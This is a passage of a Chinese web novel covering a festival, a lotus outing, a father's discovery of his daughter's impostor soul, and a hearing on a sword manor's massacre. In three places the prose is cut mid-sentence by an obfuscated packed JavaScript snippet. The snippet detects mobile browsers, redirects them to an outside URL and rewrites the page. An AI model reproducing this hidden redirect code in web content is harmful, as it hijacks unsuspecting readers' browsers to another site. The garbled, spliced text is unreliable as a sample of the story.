“好你个十二!”柳眉妩被她逗笑,角弓歪了准头,无锋箭擦过粉团掉在金盘上,气得直跺脚,“好厉害的一张嘴,粉团都没你滑腻!” 逗得几人捧腹大笑。 玩了一刻钟,柳眉妩大获全胜,欢喜极了,笑着将粉团分赏众人。众人也欢喜,道了谢,又簇拥着她进膳厅。 “二哥哥,端五快乐。” “娇娇儿来了,今晚有回春堂的雄黄酒,望江楼的椒盐角黍,还有许许亲自做的赐绯含香粽。”东方凌云早已坐定,见她进来,笑着朝她招手。 “知我者,大姐姐也!我最最最喜欢赐绯含香粽了!”柳眉妩嘻嘻夸完,把做好的艾草香囊送给东方凌云,转身收到宝儿的五彩绳,有些惊讶,忍不住挤眉弄眼地问他,“宝儿,怎么突然想到编这个?” “蜀地风俗,用青赤黄白黑五色丝线编手绳,唤做长命缕。我觉得寓意好,前几日就在街上买了几根回来,照样子编了编。”宝儿帮她戴好,收手后捏了捏耳垂,似乎有些不好意思,“不太好看,娇娇儿不要嫌弃。” 柳眉妩眼尖,抓住宝儿的手,看清了,促狭地笑起来。五彩绳歪七扭八,缠缠绕绕,较之自己的,更像一团剪不断理还乱的麻。 “我之前没编过手绳,第一次上手,有些丑,不好送你,就留着自己戴了。”宝儿的眼亮晶晶的,黑曜石般,含羞带笑地继续道,“再者,我与你一同戴,若是我的发黑发皱,就知道该给娇娇儿换新的了。” 柳眉妩伸手,腕子碰了碰宝儿的,“很般配。” 宝儿握着她的手,“娇娇儿喜欢就好。” 何清如端来赐绯含香粽,收下柳眉妩送的香囊,又听她好一顿夸,乐不可支,“你呀你,小嘴儿这般甜,可以不用蘸花蜜了。” 柳眉妩摇头晃脑地道:“那不行。十三大夫说了,花蜜可以除百病,和百药,对身子最有好处了。” 十三点头,一本正经地道:“花蜜生则性凉,能清热;熟则性温,能补中;甘而和平,能解毒;柔而濡泽,能润燥;缓可去急,能止痛……确实对四公主身子很有好处。” “小馋猫,就你有理由。”何清如被主仆俩一唱一和逗笑,捏了捏她的脸,“不过,这是我第一次做赐绯含香粽,身边没食方,也没师傅,手法难免生疏。要是口味欠佳,娇娇儿可要多担待则个。” 柳眉妩吃一口,眼睛眯成一线,“明明好吃!软糯香甜,眉毛都要鲜掉了!大姐姐是怎么做的?” “先把糯米浸泡一个时辰,箬叶裹形,麻绳扎紧,再在紫砂锅里加藏红花汁,焖煮两个时辰。待凉透后剥叶,用丝线切成薄片,最后淋上桂花蜜就好了。” “好吃!回去就让厨房记下大姐姐的食方,照着整改。大姐姐做的,可比他们做的好吃多了!” 大家纷纷赞同。 毕竟,土生土长的中原人,再怎么见多识广,口味上总是近香远臭的。与软糯香甜的赐绯含香粽相比,实在是不太能接受腊肉花椒青豌豆做的椒盐角黍。 * 之后两日,平静无风,转眼就是五月初八,叶灵儿的生辰。 一大早,宝儿邀她去摩诃池赏花,神神秘秘地说有惊喜。柳眉妩好奇再问,他却卖起关子,怎么也不肯说了。 辰时一刻,天青色的云铺了满层,柳枝儿柔顺垂着,如烟似雾。偶尔有风吹过,花叶摇曳,水波潋滟,送来阵阵荷香。 柳眉妩看得出神,惊讶道:“将将五月初,怎么摩诃池就有荷花了?” “娇娇儿有所不知。”宝儿故作高深,悠悠道,“昨夜百花仙子入梦,问我:‘今夜月朗风清,吉星高照,不知明日是何方贵人生辰?’我告诉她:‘是娇娇儿的生辰。’仙子就说:‘原来是四公主的生辰,她可是有大功德之人,神佛也庇佑,那我便让摩诃池里的荷花尽数开放吧。这样,宝儿就可以博娇娇儿一笑了。’” 柳眉妩忍俊不禁,揉着宝儿的脸笑骂:“油嘴滑舌!宝儿,你在哪里学的这些不正经话,就会哄我。” 宝儿皱着鼻子,朝她扮个鬼脸,才如实答话:“蜀中胜地,莫如成都,水绿天青不起尘,风光和暖胜三秦。就算不到六月,只要有心栽培,不过一亩见方的摩诃池,想要提前赏荷还是不难的。” “原来如此,宝儿有心了。” 上了兰舟,点心酒水早已备好。柳眉妩拈了块荷花酥尝味,又让宝儿拿过酒坛,拍开泥封,闻了闻,却还是觉得少了些什么。 “怎么不是荷花酒?” “散花楼的荷花酒售罄许久了,我等了一个多月,没有新货。眼瞧着日子不等人,只好拿了坛梅子酒来。” 柳眉妩接过宝儿斟的酒,却不急着喝,随手放在船舷处,探身摘来两片饱满肥圆的荷叶,又临水洗净了。 “没有荷花酒,我们便用荷叶杯,来尝尝荷叶酒吧。”她将一片荷叶递给宝儿,大如玉盘,卷拢如盏,“前年游曲江池时,二姐姐教过一种碧筒饮法,宝儿你跟我做。” 说着,她取下头簪,将叶心刺穿,让中空的叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268984|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茎和叶面相通,又把长长的叶茎弯曲如象鼻。这时再倒酒,琼浆粼粼,青翠欲滴。以叶为杯,以茎为管,酒入口中,唇齿间便芳香浓郁,回味甘甜。一时竟分不出,这香气究竟是来自酒,来自梅,还是来自荷。 “不愧是雅中之雅的碧筒饮法,梅香入酒味,酒味杂莲气。如此饮酒,不仅添酒之色,更能添酒之香。” 荷风吹来,暗香浮动。柳眉妩饮尽荷叶酒,低头望去,清水出芙蓉,一一风荷举。 风乍起,花叶婆娑,一片荷花悠悠飘落。它从上往下落,水中倒影却是从下往上起,在如镜的水面处合二为一,如兰舟漂荡,又很快随水隐入擎天的叶下。 柳眉妩的视线随落花漂荡,忽见片绿之下,一抹转瞬即逝的红,很快只留下一阵涟漪,水花风叶两悠悠。 她轻轻“呀”了一声,宝儿闻声凑了过来,也惊奇道:“是鸳鸯鸟!” 柳眉妩便看着他笑。 “娇娇儿,你笑什么?” “谁让你看鸳鸯鸟了。”柳眉妩将团扇遮着脸,朝他嘻嘻笑。 宝儿低头再看,很快也笑了,“我知道了,娇娇儿是要我看并蒂莲。” 他一边说笑,一边将两只手往脑后枕去,躺在船舷上看天上的流云。眉眼弯弯,风华正茂,初阳不及他意气风发。 柳眉妩朝他挤挤鼻子,余光瞥见叶下又跳出一尾红鱼,与方才见到的鱼儿成双成对,且游且戏,惹得涟漪阵阵。 她玩心一起,随手将团扇丢给宝儿,伸手往水里捞去。清冷的湖水漫过手心,无意撞倒的酒液倾洒而出,被她惊扰的鱼儿胡乱游窜,竟直直往她手心跳来,又滑溜溜跃入水中。 涟漪四散,那一抹红越来越小,又越来越大。天光水影里,她恍惚看到以前的自己。 宫墙森森,往事淼淼。一个寻常午后,手谈结束,男子耍赖枕在女子腿上,抬手打量指间的棋子,余光却悄悄落在她脸上。女子似笑非笑,越过他的视线,忽然执杯朝她望了过来。 柳眉妩似有所感,一转头,正对上宝儿的视线。 黏糊糊,笑盈盈。 望着她。 * 赏荷回去,街上见到桃红柳绿打着叶氏招幌布施,来往过客只要说一句“祝叶小姐生辰快乐”,便能领两个油酥锅魁和一碗鱼米粥。 眼尖的见她经过,纷纷围上来说吉利话,哄得宝儿一个劲儿地解囊打赏,直散完一包银瓜子才作罢。 柳眉妩拉着宝儿走开,好笑道:“他们对我说生辰快乐,你赏什么。” “祝娇娇儿就是祝我,我打赏就是娇娇儿打赏,反正没差别。” 柳眉妩也不多纠结,换话题道:“宝儿,你听到了吗,他们说的双喜临门。另一桩喜事是胡郡守之案再审,抄家入诏狱,今儿一早就被押送回长安了。” 宝儿点头,“听到了。” “胡郡守和方郡丞玩忽职守,草菅人命,落得今日这般下场,也算罪有应得了。鲁郡尉倒是难能可贵,在蜀郡这趟浑水里,天高皇帝远,还能不忘初心,自成清流,也难怪二哥哥对他青睐有加,亲自举荐他去刑部了。”柳眉妩有些感慨。 “有人犯罪,便求罪得罪;有人施仁,便求仁得仁。命运从不轻慢有心人,终有一日,真相会大白于世。也许会晚,但一定会到。” 柳眉妩忽然仰头,眯着眼问:“宝儿你说,是太阳远还是长安远呢?” “当然是太阳远了。长安计日可到,太阳却终生难达。” “不对。”柳眉妩却摇头,缓声道,“我却觉得长安更远。抬头见日,不见长安,而浮云蔽日,又使我愁。” “圣人春秋正盛,励精图治,纵有污浊,涤清也不过早晚的事,哪里需要你我操心?再者,今日是你的生辰,理应开心些才是。”宝儿一边说,一边用脑袋顶了顶她。 “也是。”柳眉妩顺手摸了摸他的脑袋,想到一事,又叹气道,“但我还是有些担心。一个月后,就是大姐姐假婚的日子了。宝儿你说,王不留行会出现吗?” “王不留行会不会出现我不知道,但我的出现可能需要一个合理的解释。” 柳眉妩顺着宝儿的眼色望去,赫然见到杨无咎。 下一瞬,他侧身避开,又赫然对上叶茂的眼。 柳眉妩:“……” 30. 折柳 “爹爹,大表哥,你们怎么来了?” 柳眉妩换上笑脸,卖乖讨巧地迎到叶茂跟前,决定先发制人。 “我听秋千说,桃红柳绿在南街布施,过来看看,路上碰到咎儿,就闲聊了两句。”叶茂笑得两眼眯眯,像只老狐狸,明知故问道,“娇儿,你们这是在做什么?” “真巧!我和爹爹一样,随便走走。”柳眉妩也笑,似是而非。 “这么早就出来走,早膳可用过了?” “用过了。” “吃的什么?” 柳眉妩眼珠滴溜溜乱转,张口就来,“油酥锅魁,还有鱼肉粥,好吃!” 叶茂点点头,没再说什么,向杨无咎和宝儿点头致意,领着柳眉妩往别业走。行到花廊,却不让她回灵犀院,而是转身进了祠堂。 祠堂里灯烛长明,檀香馥郁,他径直走到神龛下,摸索着拿出两块灵牌,幽幽道:“你选一块吧。” 待柳眉妩低头看清灵牌上的字,呼吸一滞,汗毛倒竖,右手下意识摸到腰间,搭着望舒才觉稍稍心安。 “不错。”叶茂突然开口。 柳眉妩抬眼看他,半是疑惑,半是警惕。 “你上次说得不错,这确实是娇儿的灵位。” 柳眉妩垂下眼,睫如鸦羽,扑簌簌地抖。什么上次?说的什么?她全然不记得了。但眼前的景象却让她不得不防备—— 叶茂手里拿的,是两块油光发亮的灵牌。一块无名无字,一块却赫然篆刻着“爱女叶氏灵儿之位”。 叶茂继续道:“早在很久之前,我就怀疑你不是娇儿了。在你不再缠着我讲仙人故事的时候,在你不再向我要仙草做香囊的时候,在你不再催着我做各种口味的彩虹糖的时候。但秋千告诉我,你只是因为高热烧坏了脑子,所以很多事都不记得了。 “可我知道,不是这样。毕竟,娇儿从小就沾不得鱼腥,更别说吃鱼肉粥了,一闻到浑身就起红疹……当然,你也不用害怕,我不会对你做什么,娇儿是我的女儿,你也是。我前几日还梦见娇儿,她让我好生善待你,不要怪罪你。所以今日我叫你来,也是让你自己选择,给娇儿的灵位是有字的还是无字的。” 柳眉妩终于定神,听懂了叶茂的意思。他早就知道她并非叶灵儿,却没有揭穿她,反而一直默许她鸠占鹊巢。他也坦然接受了叶灵儿已死的事实,甚至还为她做了两块灵牌,选择权却交给了她。 “为什么?”她想了又想,不解地问出声。 “逝者已矣。”叶茂语气平静,听来似乎无悲无喜,“娇儿乃病逝,非你所害,我不会糊涂至此,无端迁怒于你。再者说,你寄身娇儿,便是娇儿,无论因何等机缘抑或巧合,你我总归是父女一场。” 沉默半晌,柳眉妩伸手指了一块灵牌,叶茂有些惊讶,却也没说什么。只是默默把她选的那块灵牌放在了花檀的灵位旁,又将另一块好好收了起来。 两人相对无言,又是一阵沉默。 良久,还是叶茂开口打破沉默,“娇儿,还有什么要问的吗?” 柳眉妩确实有很多问题,可真正问出口时,却变成了一句,“你落拓半生,都在寻仙人采仙草炼仙丹,有什么收获吗?” 在此之前,她也曾问过小茶这个问题,可小茶回忆半晌,只是向她摇了摇头,“旁人问老爷,老爷说不足为外人道也;夫人问老爷,老爷又说天机不可泄露。总之我们每每听了,都觉得玄之又玄,琢磨不透。” 叶茂听了她的问题,似乎愣了愣,随即说出她不曾听过的第三种回答,“此中有真意,欲辨已忘言。” “此中有真意吗?可我却觉得,你一直求长生,求不朽,却不懂得珍惜眼前人。先不说世上是否有长生不老药,就算有一日,你得了机缘,踏上仙途,此身与清风明月万古,难道不会觉得遗憾吗?” 这话铮铮,掷地有声,其实是为素未谋面的花檀和叶灵儿问的。 花檀嫁给叶茂,举家迁出中原,十五年如一日地操持家里家外,勤勤恳恳,得到了什么呢?叶灵儿出生以来,身虚体弱,虽冠着首富千金的名号,天伦之乐却聊胜于无,又得到了什么呢? 不过是,红颜易老随风去,一抔净土掩风流罢了。 叶茂听她这么说,仰面长叹一声,“我此一生,光明磊落,上不愧天,下不愧地,中不愧心,独独愧对她们娘儿俩。我自知不是个好丈夫,也不是个好父亲,娶了檀儿,又负了檀儿,有了娇儿,又忽视了娇儿。她们怨我也好,怪我也好,都是我罪有应得。” “罪有应得算不上,你也不是大奸大恶之徒,只是爱人不如爱己,把自己排在第一位罢了。”柳眉妩有些感慨,“要是爹爹也如你这般,把自己看得更紧要些就好了。先天下之忧而忧,后天下之乐而乐,固然高尚,可我宁愿爹爹不那么高尚,一辈子平安顺遂,陪着我就好。” 叶茂叹息,欲言又止。 柳眉妩用手背擦了擦泪,“既已开诚布公,你要问什么,便问吧。” “你是谁?”叶茂看着她,双目炯炯。 “……我叫柳眉妩。” “柳……”世间柳姓何其多,但他还是情不自禁问了出来,“……柳宁甫,你可认识?” 宁甫,是爹爹的字。 但世上姓柳之人不知凡几,她一时不知道,叶茂口中说的宁甫,是哪个宁,是哪个甫,是名,是字,还是号? 许是猜出了柳眉妩的疑问,叶茂继续补充:“河东柳存绥,字宁甫。” 柳眉妩惊讶道:“正是我爹爹!” 这回轮到叶茂惊讶了。他盯着柳眉妩看了半晌,不发一言,把柳眉妩看得浑身发毛,这才哑声问道:“他,一切可好?” 柳眉妩却垂了眼,神色戚戚然,鼻头酸了又酸,才勉强低声回道:“爹爹去年南巡回京,在秦岭遇了害……” 剩下的,怎么也说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268985|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不下去了。 叶茂却倏然闭了眼,神情悲痛,良久叹道:“而伯乐不常有啊。” 他向来心高气傲,一生负气成今日,一辈子没几个心甘情愿佩服的人,柳宁甫却算一个。当年才冠长安风华绝代的太平相,收到籍籍无名之辈的投名,却认认真真看完了他的诗文,夸他谪仙人,赞他诗无敌文不群。 “少年词赋皆可听,秀眉白面风清泠。身上未曾染名利,口中犹未知膻腥。” 自古文人相轻易,而相惜却难。他不断咀嚼着柳宁甫的话,越反刍越孤独,越反刍越落寞。于是引柳宁甫为知己,为伯乐,斗胆涂名考了科举,结果却并不如人意。 再睁眼,鹤归华表,人事已十五年。 叶茂忽然问她:“你何时回长安?” 柳眉妩一时没反应过来。 “待想好了,告诉我一声,我与你一同回去。” 柳眉妩瞬间睁大了眼。 叶茂表情认真,不像玩笑。他的意思是,要与她一同回长安?大哥哥之前那般兴师动众请他出仕,二哥哥如今亦是大费周章请他回京,他都回绝了,现在却主动说要与她一同回去? 叶茂知她疑惑,却不解释,只是缓步出了祠堂,指着前院一株柳树,问她:“娇儿,你觉得这株柳树怎么样?” 柳树长在前院,她不常来前院玩,故而对它印象不深。若仔细回想,却还是有印象的。上已春夜,踏青归来,她去易安堂拜见叶茂,月影绰绰,鹅香隐隐。蓦然回首,天高月小,她与宝儿久别重逢。 “这是一株章台柳,怎么样,长得还行吧?”仲夏时分,柳枝繁盛,青翠欲滴。叶茂攀枝折条,忽然长叹,“树犹如此,人何以堪!” 柳眉妩一知半解,无端想哭。 “我亦飘零久,知交半零落。”叶茂沉声叹完,不愿再多说,挥挥手,让她回去午睡了。 逝者已矣,人事两非,往事不足为旁人道。 那时候,他少年心事当拏云,却遇世道不公,抑郁不得志。他念着“十五心已朽,愁谢如枯兰”,被年幼的圣人亲自送到朱雀门外,赐金放还。 柳宁甫折来章台柳,执手相送,情真意切地道:“子林,山高水长,后会有期。愿来日你我同朝为官,共襄盛世,当饮三百杯,不醉不归。” 他谢了恩,受了万金,也接了柳宁甫的折柳,却没回话。吟一句“不应举江湖状元,不思凡风月神仙”,跃马扬鞭,出了城门,再没回头。 无人知晓,他去京时多潇洒,回家后便多狼狈。他将自己关在房里,不吃不喝,只留下那枝折柳,日也看,夜也看,直到那柳条渐渐干枯,奄奄一息。他如梦初醒,打开房门,将那枝半枯不枯的柳条种在前院。 用舍由时,行藏在我,袖手何妨闲处看。而浮云一别后,流水十五载,他却深恩负尽,死生师友。 蓦然回首,庭中柳树亭亭如盖,不知京中风味可否如昨? 31. 往事 此后无事,一月转瞬即逝,转眼便到六月初八,万事皆宜。一大早,御史府敲锣打鼓,鞭炮齐鸣,却关着门不宴宾客。 早膳时,一切如常。午膳时,无事发生。晚膳时,风平浪静。待迎了亲,新娘入了洞房,嫁房里的人又随之去了婚房。 柳眉妩在书房枯坐不住,和宝儿手谈几局,终于决定不再摧残他,于是两人带着小八十二,偷偷躲进了婚房的地下暗室里。几人席地而坐,正玩赏着鸽卵大的夜明珠,忽然听到头顶传来脚步声。 缓慢,沉稳,不疾不徐,一步一步响在耳畔。几人等了又等,却不见头顶有其他动静。梁上没动静,床上没动静,就连小院也没动静。 柳眉妩奇怪,那来者何人? 如果是自己人,免不得出声打招呼。然而,她们听不到任何声音,除了脚步声,便只有她们几人的心跳声和呼吸声。 柳眉妩想到什么,暗道一句不好,急忙掀开暗格就要上去。然而,刹那间,浓烟迷眼呛鼻,她尚来不及咳嗽,整个人便恍惚了起来,飘飘然,身子骤然软了下去。 宝儿眼疾手快扶住她,为她点了穴道,又给自己点了穴道。小八破格而出,飞身向床边黑影踢去。这一脚踢得瓷实,正踢中黑影左肩,饶是柳眉妩隔着屏风,仍能够听到关节脱臼的声音。 黑影吃痛,闷哼一声,音色沉沉,莫名耳熟。见状不对,便想掳走床上昏睡的新娘,一时不察,被屏风后飞来的长剑刺穿了左臂。他这才后知后觉,房里还有其他人。 他愤愤盯着屏风后面,红烛摇曳,辨出三两个人影,敌暗我明,他不敢轻举妄动。斟酌再三,最终选择了提刀捂臂,跳窗而逃。 小八紧随其后,却见小院里一片安静,直追到大院才看到自己人。杨无名和阿大小九见状,各自抱剑提刀跟了上去,一路风风火火直追到南山林。 夕阳西下,南山林重峦叠嶂,茂密曲折,血迹凭空消失,一行人一筹莫展。杨无名皱眉,阿大懊恼,小九叹气,小八却忽然转头看向林中某处,下一瞬,人便消失在了原地。 长剑出鞘,抵着那人脖颈,她冷冷地问:“你在这里做什么?” 那人神色如常,挑眉看着颈上的剑,缓缓伸出食指就要拨开。小八却握着剑身,推刃更近一分。 “哎呀,是小八姑娘啊,有话好好说嘛。刀剑无眼,要是不小心划伤了我,流了血,破了相,你可要对我负责哟。” 油腔滑调,嬉皮笑脸。 小八冷哼一声,手下用力,冷白的刃贴近细嫩的肉,那人玩笑的神色便瞬间敛去,紧抿着唇冷了眉眼。这时候,其余三人也都跟了上来,认出那人,有些惊讶。 小九喘着粗气,见缝插针地讲条件,“八姐,你真得把你这踏雪无痕的轻功教教我。要不然下次,我可不一定能及时追上你。” 阿大瞥他一眼,淡声道:“承平日久,看来你懈怠了不少,这么点距离就喘成这样。” 小九立马正襟危立,语气弱弱的,“别这样,我跟八姐开玩笑呢……” 夏姬眼珠一转,语气蛮横起来:“怎么,你们御史府将军府的人就能仗势欺人吗!眼里还有没有王法了!” “我只问你,你在这里做什么?和王不留行什么关系?”小八继续逼问。 “我在南山林还能做什么,当然是吃饱了撑的,哪里凉快待哪里了,不然你以为?总不能是在这里私会情郎吧?”见硬的行不通,夏姬又软下语气,吊儿郎当,没个正经模样。 小八板着脸,忽然朝后伸手,“帕子。” 小九忙递上帕子。 下一瞬,她蓦地收回长剑,夏姬骂骂咧咧的话还没说出口就卡在了喉咙,反手被她扣住,又欺身用帕子缠住了嘴。 “你干什么……唔唔!” “押回去,说不定她就是在私会王不留行。” “好嘞!”小九从她手里接过夏姬,笑嘻嘻道,“八姐威武!” “唔唔唔!”夏姬恶狠狠地瞪她。 小八掏了掏耳朵,不耐烦地皱起眉,瞥了夏姬一眼,“吵死了。” 夏姬:“……” * 何清如和竹悠然送来解药,柳眉妩服下,半刻钟后才悠悠转醒。和宝儿相互搀扶着起身,其余中了软筋迷魂散的也陆续恢复了力气,纷纷向何清如请罪。 “表小姐,十三又一次办事不利,但凭降罪。”十三面色尤其惭愧。 上一次,是蒋芸娘的大婚之夜。 有了前车之鉴,又是请君入瓮,这次便索性关门嫁娶,不宴宾客。早在定制喜服时,就报上了十三的尺寸,方便他假扮新娘。不曾想,这一次,王不留行又没抓到,他却再一次被迷晕了过去。 “这不怪你,十三,敌暗我明,本就防不胜防。更何况,王不留行谨慎狡诈,我们一不小心也着了他的道。”柳眉妩拍着他的肩,安慰道,“再一再二不再三,下次注意就好了。” 话音刚落,就听衙役远远通传,嫌疑人归案,马上就要升堂问审了。一行人又忙不迭赶往公堂听审。 “堂下何人?” 大婚之夜,本是新郎的东方凌云不入洞房,不着喜服,而是一身肃肃官服,端坐三尺公案后。惊堂木一拍,两边衙役高声齐唱威武。 夏姬眼中不解一闪而过,随即低眉顺目地回话:“民妇夏姬。” “姓甚名谁?何方人士?”东方凌云一面展开户籍册,一面若无其事地问话。 夏姬沉默片刻,如实回道:“民妇沈半夏,汉中南郑人。” 柳眉妩听得疑惑,原来夏姬并非姓夏,而是姓沈?东方凌云却像早就知情一般,继续问道:“沈源是你什么人?” 沈半夏顿时瞪大了眼,不可置信地看着东方凌云,半晌说不出话。 “沈源是谁?”柳眉妩没忍住,悄声问阿大。 阿大也压低了声音,悄声回她:“神剑山庄庄主,天下第一剑倚天剑的铸造师,明目识水说的就是他。” “明目识水又是什么?” 不等阿大再说,竹悠然笑着解释道:“相传沈庄主铸倚天剑时,让弟子来蜀郡取水,结果弟子取了水回去,他瞧一眼便断言不是纯粹的锦江水,而是掺杂了三升的涪江水。弟子见瞒不过,只得交代,取水回去时不小心在涪江渡口把水泼了,不想折返再打,又怕师父问责,所以自作主张就地装了三升涪江水。” “所以,为何一定要取锦江水呢?” “传闻说,沈庄主认为汉江水钝弱,软水淬火,剑身就会脆薄软弱;而锦江水爽烈,硬水淬火,剑身才会清亮刚烈。” 柳眉妩听懂了,由衷赞道:“竹姐姐,你真厉害,什么都知道!” 竹悠然笑着摸摸她的头,不等说话,又听堂上一拍惊堂木,东方凌云的声音随即响起:“沈半夏,回答本官的问题。” 沉默半晌。 “……他是我爹。” “所以,你真是神剑山庄大小姐,你没有死。” 众人这才恍然大悟。 “不错,我就是十年前被灭门被屠杀的神剑山庄大小姐沈半夏,我没有死。” “沈小姐,你是个聪明人,我们就打开天窗说亮话吧。十年前,神剑山庄,究竟发生了什么?” 沈半夏不为所动,紧闭着嘴。 “我来掌嘴。”满堂肃静,小八忽然站了出来,撸起袖子就要打人。 沈半夏慌张叫道:“你干什么!” “打你。” “……” 如此扰乱公堂,滥用私刑,她求助地看向白御史,白御史转头看身后的“明察秋毫”匾额。她再看两边衙役,他们只低头盯着手里的“肃静回避”看。她又看向堂外旁听的几人,几人眼观鼻鼻观心,只管充耳不闻。 不过,也不全是。 小九摸摸鼻子,神色动容,“她何必呢,招惹八姐,那可是炮仗一样的女人!” 柳眉妩当即叉腰,不以为然,“那是因为小八关心大姐姐!” 小九连忙唱喏作揖,惹得众人捂嘴偷笑。 人与人的悲欢并不相通,沈半夏只觉得他们吵闹。自己又气又恼,默默咬碎了一口银牙,最后在小八欺身上前,掌风凌厉不似作假,就要打到自己脸上时,她尖叫着大声喊道。 “我说!我说!” * 东方凌云挥手让小八退下,两边衙役高声齐唱威武,水火棍一顿敲地,沈半夏只觉得又无语又委屈,“那是我不敢触碰的伤疤,是年久日深的腐肉……” “沈小姐,逝者已矣,节哀顺变。今日本官无意揭你伤疤,也不想剜你腐肉,可王不留行凶行累累,逃之夭夭,想捉拿他,又实在绕不开十年前的神剑山庄案。” “也罢!本就没什么好隐瞒的,我说就是了。”沈半夏娓娓道来,“……十年前的四月初八,本是我及笄出嫁的良辰吉日,我如愿以偿,终于嫁给了大师兄。新婚燕尔,洞房花烛,我们合卺交杯,我们互诉衷肠,我们……” 小八皱眉打断她:“说重点。” 沈半夏扭头瞪她一眼,才继续说:“突然,大师兄头疼了起来。他抱头咆哮,一瞬间就像变了个人,发起了狂。我想拦住他的,我真的想拦住他的,可他好像不认识我了。我被他推倒,撞在柱子上,晕了过去,再醒来,就是第二天了…… “大师兄已不知所踪,整座山庄也死气沉沉。我爹,我娘,无数同门,还有那些远道而来的宾客,全都变成了一具一具的枯尸。那些侥幸逃脱的幸存者说,他们都是大师兄杀的,用的便是那把能吸血抽髓的魔刀。” “鬼见愁。”东方凌云叹道。 “不错,就是鬼见愁。鬼见愁,顾名思义,斩尽世间宵小,鬼见了都发愁,是大师兄铸的第一把刀。”沈半夏冷笑一声,又不无感慨地道,“想当初,大师兄壮志凌云,慷慨激昂,谁能料到最后会落得这般田地,贻笑大方,惨淡收场呢。” 众人沉默,只听到沈半夏断断续续的哽咽声。 “大师兄是剑痴。他天资聪颖,练剑铸剑无一不精,但他并不满足。世人都说他青出于蓝胜于蓝,娘也说他雏凤清于老凤声,爹更是常常夸他,假以时日必成一代宗师,可他却不这么认为。 “他觉得爹的铸剑之术超绝,天下第一剑早已实至名归,再无人能出其右,他亦不能,无论是生前还是死后。于是,他决定另辟蹊径。他说,他要打造一把刀,一把不会笼罩在天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268986|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下第一剑光环下的刀,一把可以和爹的倚天剑相提并论的刀。我劝过他,可他听不进去。 “不久,有贵客登门拜访,带来了一块天山软金,希望爹能用软金为他铸一把宝剑。那时候,爹已封炉多年,但天山软金在手,他又决定重新起炉,然而很快,爹又放弃了。因为他发现,那块软金不同寻常。 “平日我们所说天山软金,多指阳金,至阳至刚,故而所铸刀剑百折不挠,刀枪不入,但那块软金是阴金。阴金不祥,出自天山蛮荒乱葬岗一带,那里尸横遍野,怨气冲天,难以消弭,所以爹觉得阴金不可铸剑。 “爹用了两把宝剑换了那块阴金,为绝后患,本想亲手销毁它,却被大师兄偷梁换柱,留了下来。大师兄不信邪,他觉得阴金至阴至柔,而阴能制阳,柔能克刚,正有大用处。于是,他瞒着我们所有人,偷偷起炉,用那块阴金铸了一把刀…… “谁知道,大师兄那般不信邪,最终,自己还是中了邪。所以,鬼见愁是一把魔刀,一把彻头彻尾的魔刀!大师兄自从有了鬼见愁,他开始变得易怒暴躁,狂妄自大。他以为他能控制住它,可事实是,他越来越控制不住它,最后甚至控制不住他自己……” 沈半夏哀嚎一声,捂面而泣。 满堂静默,无不唏嘘。 东方凌云问她:“你恨白术吗?” “我当然恨他!”沈半夏流着泪,厉声回道,“但比起恨大师兄,我更恨鬼见愁!那魔刀先天不祥,后天噬主,夺人心智,摧人神魂,让大师兄走火入魔,滥杀无辜,理应被群起而毁之!” 爹娘同门一夕丧命,神剑山庄一朝灭门,她理应对杀人凶手恨之入骨,恨不能寝其皮,啖其肉,饮其血,抽其筋,挫骨扬灰。 然而,当她知道那人是白术,是她心心念念的大师兄,是她在心尖尖上放了整整十年的人,她又对他恨不起来。于是,滔天的恨意无法消弭,便只能转移到鬼见愁身上。 “所以,五年前……”东方凌云斟酌着开口。 “是真的。你们听到的传闻,说他在敦煌被万箭穿心,被当场火化,被挫骨扬灰,不是传闻,都是真的。” “你这么笃定?” 沈半夏点头,“因为他是决心赴死的。或许是良心发现,又或许是报应不爽吧。他走之前,来找过我,恳求我帮他销毁鬼见愁。他说,他越来越难以控制鬼见愁,甚至,越来越多的时间被鬼见愁所控制。他说,他受够了,他需要解脱。 “他这一生对我说了很多句对不起,也说了很多句谢谢你,到死之前,我都没听他说过一句,我爱你。”说到这里,沈半夏忽然闭了眼睛,落下泪来,声音哽咽,“我现在也大抵知道了,没说过的爱是不存在的爱,他不爱我,所以他从来不说。他从始至终,都没有爱过我。” 小八叹息一声,给她递来帕子擦泪。她接过帕子,道了谢,有些吃惊,似是没想到小八还有这般古道热肠善解人意的时候。 好半晌,见她情绪缓和,东方凌云才再次开口问道:“那鬼见愁,你为何没有销毁?” “我本来想销毁的。但我来不及销毁,鬼见愁就被二师兄偷走了。” “二师兄?” “不错,我的二师兄苍术,他也还活着。那日我大婚,他下山买醉,不在山庄,所以逃过了一劫。” 